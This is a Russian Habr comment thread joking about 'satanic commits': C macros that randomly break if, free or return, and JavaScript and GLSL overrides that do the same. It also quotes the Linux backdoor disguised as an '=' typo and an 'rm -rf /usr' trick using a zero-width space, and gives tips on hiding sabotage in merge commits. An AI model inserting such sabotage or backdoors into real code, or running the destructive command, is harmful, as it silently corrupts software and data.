Как стать автором
Обновить

Комментарии 81

Не хватает злодейского смеха на фоне. Коммит Сатаны.
НЛО прилетело и опубликовало эту надпись здесь
Ну это уже даже самый ленивый видел раз десять, зачем это копировать на хабр?
Всё таки С\С++ замечательные языки, но ловушки, вроде этих, просто страшны.

Ну, самый сатанинский коммит — это, пожалуй, замаскированный под опечатку бэкдор Linux.

      if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
                      retval = -EINVAL;
А можно для лохов чуть подробнее? Как оно должно работать и как на самом деле работает?
ru.wikipedia.org/wiki/Условия_Йоды

«Бэкдор был замаскирован под простую опечатку — вместо == стояло =. Таким образом, передача в функцию двух флагов, противоречащих друг другу, выполняла код current->uid = 0, то есть давала программе права суперпользователя.»

«опечатка бэкдор linux» в гугле набираем и вторая же ссылка ведёт туда.
Первая ссылка ведёт же обратно сюда ))
Окей, пишем :)
#define == =
Против таких штук есть нескольок хороших ключей в gcc: "-Wall -Wextra"
Вывод на
if (i = 0)

"suggest parentheses around assignment used as truth value [-Wparentheses]
Также замечает например сравнение signed и unsigned переменных и пр.
А там как раз для «suggest parentheses» скобки вокруг «current->uid = 0» стоят.
Вот это поиситне грустная новость.
Компилятор молчит. Вместо того чтобы громко крикнуть «грабят!» он превращаеться в молчаливого сообщникика…
НЛО прилетело и опубликовало эту надпись здесь
Я просто не понял поначалу, что это код ядра. Да-да, не приметил слона) Коммит реально адский.
Поэтому в соглашениях по оформлению кода нужны требования, чтобы условия такого типа записывались как:
0 == current->uid
Во избежание человеческого фактора. Да, снижается читаемость. Также, статический анализ кода во все поля поможет выявить потенциальную угрозу…

Не холивара ради, а поиска истины для:
Примечательно, что, например, в C# упразднили возможность присваиваний в логических выражениях, и ведь не спроста же? Это дисциплинирует. Да, гибкость ниже, но и вероятность самострелов сокращается в разы, а читаемость кода наоборот — увеличивается.
Примечательно, что, например, в C# упразднили возможность присваиваний в логических выражениях, и ведь не спроста же?

Не упразднили. Конструкция вида
bool x;
if(x=File.Exists("tmp.dat")){ ... }

работает, как и раньше. Другое дело, что там не может быть типов, отличных от bool.
Ну тут да, согласен, есть исключение.
по мне так rand() это вообще сурово)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))

Это просто какой-то «IF Шрёдингера».
Хм, если в редакторе кода настроена подсветка дефайнов и того, в какой файле они определены (в MSVS 2012 такое по умолчанию), то определить и даже найти этот дефайн можно в считанные секунды :)
НЛО прилетело и опубликовало эту надпись здесь
Изобретательность человека делать подлости — бесконечна.
Хотя бы сослались в посте на комментарий, из которого вы узнали про этот гист.
Тогда уж так habrahabr.ru/post/191772/#comment_6663670
Вообще когда искал упоминания на хабре проверял только код, а при проверке ссылки не додумался поискать в комментариях. my fault
Вот уж никогда бы не подумал, что из моего левого комментария в давно забытом топике аж целый пост можно сделать… Ну, ок
Справедливости ради нужно отметить, что топик посвящен не вашему комментарию, а заметке на гитхабе от Aras Pranckevičius.
Несомненно. Я не о том. Мне казалось, что эта информация и на коммент-то слабо тянет, а уж на отдельный пост…
Самое главное забыли сказать. Этот код надо заамендить в большой большой мерж коммит (а лучше не в один). Или вообще подкладывать через флаги компилятора.
Некоторые делают это постоянно и неосознанно.
Его хорошо бы забирать из external-репозитория на каком-нибудь пре-билд шаге и удалять на пост-билд шаге.
Я так смотрю, тут многие неплохо разбираются в злодейском смехе!

Рулетка программиста: закоммитить перед уходом в отпуск, и гадать, выходить ли на работу, или твои, оставленные на работе, вещи можно сразу на помойке искать (которые из целые, конечно). :)
#define return if(random()>0.99)exit(0);else return
Это с IT Happens, насколько я помню?

Upd: нет, хотя там код был похожий:

#define return if (std::random(1000) < 2) throw std::exception(); else return
Интересно, а для прочих языков существуют аналоги?
Наверное, есть, в C# и Java, например, от дефайнов остались ножки да рожки
В делфе дефайнов тоже нет.
НЛО прилетело и опубликовало эту надпись здесь
Да так с чем угодно можно :) Вот гораздо более злобный вариант:
['String', 'Array', 'Object', 'Date', 'Boolean', 'Number', 'Function'].forEach(function(cls){
 var original = window[cls];
 window[cls] = function(a,b,c,d,e,f,g,h,i,j,k,l,m){
  if(Math.random() > 0.1)
   return new original(a,b,c,d,e,f,g,h,i,j,k,l,m);
 };
});
Для встроенных типов так сломаете разве что Date, а остальные давным давно создают короткими записями.
Да, но иногда приходится использовать полную версию.
Ну и можно добавить в массив другие объекты, ничего глобально не дописывая, xmlhttprequest, например.
Из комментариев этого репозитория JavaScript и CSS.
Ну в Scala наверное можно что-то такое накосоворочать. Там всё-таки есть определение операторов и так же trait'ы (не знаю как по-русски их назвать). Вероятно можно в одном коммите определить trait со злостными определениями, а потом что-нибудь важное от него унаследоват в другом коммите.
Для GLSL ещё.
#define abs(x) (-(x))
#define discard ;
#define highp lowp
#define mediump lowp
#define mix smoothstep
#define reflect(i, n) refract(i, n, 0.5)
#define sin cos
#define smooth flat
#define texture2D(s, p) texture2D(s, p, 2.0)
Вот уже где не надо делать плохо — плохо оно само получится
Для полнейшего счастья нужно закоммитить это в gcc, при этом чтобы этот код вставлялся, если во время компиляции (rand() > RAND_MAX * 0.99) == true…
Если в коде используются функции или переменные define и undef для чего-то важного, то очень даже можно!
историю коммитов никто не отменял, если настроен continuous integration, то после такого коммита скорее всего просто ничего не зарелизится и все :)
Как правильно заметили, такие вещи хорошо прятать в большом кол-ве изменений.
Ну и мое любимое, для continuous integration и тестов вовсе не помеха :)
#define free(x) if(strncmp(__DATE__, "Apr 1", 6) != 0) free(x)
А мое любимое, это #define volatile в сочетании с агрессивной оптимизацией вроде -O2.
Для кода, который напрямую работает с железом и потому и так достаточно непросто отлаживается — это бомба.
Кстати, если уж при continuous integration и тесте эти штуки пропускаются, единственная преграда или ревью коммита другим программистом, а это редко где применяется(не в open source), или же автоматический статический анализ кода перед коммитов. Типа проверка переопределение стандартных функций своими дефайнами, хотя в некоторых проектах, я видел, это намеренно делают, но такие вещи можно тоже вылавливать.

Кстати это идея для небезизвестного анализатора который тут, на хабре, пишет. Или у вас уже подобное есть?
Такое есть в MISRA-C (правило 20.1). Не знаю насчет PVS-studio, но, например, Klocwork это может отловить.
Послекоммитные тесты вполне могут и пройти, если правильно сделать :)
Вот, а люди жалуются что в javaScript можно легко перезаписать undefined своим значением и т.п., да это все детские игры в сравнении с этим!
Ну это к тому что никогда не стоит проверять на undefined через «x === undefined».
НЛО прилетело и опубликовало эту надпись здесь
Даже тут бессилен!
Какой жестокий способ самоубийства…
Была как-то история.

Приходит баг репорт, жалуются, что наш компилятор не переваривает некий код на С, в то время как в Visual Studio все работает. Присылают кусок кода, смотрим. Функция IsSomeConditionSatisfied, или как-то так, ничего странного. Смотрим внимательнее. Имя функции — Is(zwsp)Some(zwsp)Condition(zwsp)Satisfied, где (zwsp) — zero-width-space, невидимый пробел, в utf8 — 0xE2 0x80 0x8B. Компилятор считает, что пробел — это пробел, и выдает ошибки. Что характерно — функция в таком виде была написана в header файле, собственно в .c файле, и еще в паре мест. GCC тоже выдает ошибки, а cl компилирует. Как такое вообще написали — может специально, может копипаста с форума, где слова побили на куски — черт знает.

Такой вот brainfuck на C.
Подобный мозгхак есть в Eclipse.
Когда я копирую код в проект, минус преобращается в дефис (это два разных символа, последний чуть больше первого).
В первый раз я этого не знал и полностью переписал функцию, где была ошибка в «canvas.getWidth() — 10» :)
Это вообще ад! Забавнее всего было бы придумать такой код, который из-за наличия пробела работал по другому, нежели его «видимый» вариант. Без ошибок.
rm -rf /usr(zwsp)/безобидный/путь/к/каком-нибудь/своему/файлу
Почему-то сразу напомнило вот это :)
Интересно как в Яве похожее сделать? Ведь даже если создать класс с именем String, IDE спросит какой импортить…
Если в проекте используются аспекты с load-time weaving то можно, скорее всего. Другие варианты в голову не приходят.
НЛО прилетело и опубликовало эту надпись здесь
Интересно наблюдать соотношение оценки статьи к уровню кармы автора.
com.tsystems.demail.gwt.base.alert?
А почему эта и другие подобные строчки не приводят к бесконечной рекурсии препроцессора?
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))

По каким критериям он прекращает подставлять #define?
В стандарте написано (С++98, пункт 16.3.4 [cpp.rescan]):

If the name of the macro being replaced is found during this scan of the replacement list (not including the
rest of the source file’s preprocessing tokens), it is not replaced.


То есть прямая рекурсия запрещена.
Мне намного больше нравится идея Underhanded C Contest. Архивы настоятельно рекомендуются к прочтению, это кладезь изящных методик, позволяющих добиться от программы определённого злого поведения при сохранении безобидного вида кода.
Ещё веселее это всё обернуть в
#ifndef DEBUG
// evil code here
#ednif
Фэйл, который нужно закоммитить перед уходом с работы.
не подскажите, что за шрифт на пикче?
Думаю, что это сделано с помощью instacod.es
ага, спасибо, Ubuntu Monospace там используется — не признал)
Хорошо что есть системы контроля версий, в коих можно отследить сии коварные замыслы)
git commit --amend + git rebase позволяют такого там натворить…
А вы знаете толк, спасибо за инфу =)
Зарегистрируйтесь на Хабре, чтобы оставить комментарий

Публикации

Истории